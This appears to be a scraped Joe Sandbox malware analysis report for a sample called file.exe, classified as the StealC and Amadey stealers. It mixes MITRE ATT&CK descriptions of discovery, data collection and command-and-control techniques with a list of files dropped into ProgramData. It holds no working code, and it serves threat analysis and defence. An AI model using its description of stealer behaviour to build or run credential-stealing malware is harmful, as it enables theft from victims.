Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJ

C:\ProgramData\BKFIJJEG

C:\ProgramData\CGIDGCGIEGDGDGDGHJKKKJKECG

C:\ProgramData\EBGDHJECFCFCAKFHCFID

C:\ProgramData\FCAAAAFB

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

C:\ProgramData\IDHIEBAAKJDHIECAAFHCAECAFC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre